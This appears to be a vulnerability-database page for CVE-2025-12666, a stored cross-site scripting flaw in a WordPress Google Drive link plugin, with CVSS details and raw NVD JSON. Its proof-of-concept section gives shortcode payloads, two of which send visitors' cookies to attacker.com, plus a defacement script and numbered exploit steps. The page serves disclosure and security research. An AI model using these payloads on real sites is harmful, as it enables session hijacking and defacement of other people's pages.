Security Vulnerability Report
中文
CVE-2025-12666 CVSS 6.4 MEDIUM

CVE-2025-12666

Published: 2025-11-27 03:15:58
Last Modified: 2026-04-15 00:35:42

Description

The Google Drive upload and download link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' parameter of the 'atachfilegoogle' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Drive upload and download link plugin for WordPress <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12666 PoC - Stored XSS via atachfilegoogle shortcode --> <!-- Requires Contributor-level access or higher in WordPress --> <!-- Method 1: Basic XSS injection --> [atachfilegoogle link='"><script>alert("XSS")</script>'] <!-- Method 2: Cookie stealing payload --> [atachfilegoogle link='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Method 3: Session hijacking with img tag --> [atachfilegoogle link='"><img src=x onerror="this.src='https://attacker.com/log?cookie='+document.cookie">'] <!-- Method 4: Defacement payload --> [atachfilegoogle link='"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] <!-- Exploit steps: 1. Login to WordPress with Contributor account 2. Create/Edit a post or page 3. Insert the malicious shortcode in content 4. Publish or submit for review 5. When any user views the page, XSS payload executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12666", "sourceIdentifier": "[email protected]", "published": "2025-11-27T03:15:57.733", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Google Drive upload and download link plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' parameter of the 'atachfilegoogle' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/google-drive-upload-and-download-link/tags/1.0/pickergoogledirve.php#L27", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/google-drive-upload-and-download-link/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/14ee4247-4cfe-440b-add2-d5d840b1f114?source=cve", "source": "[email protected]"}]}}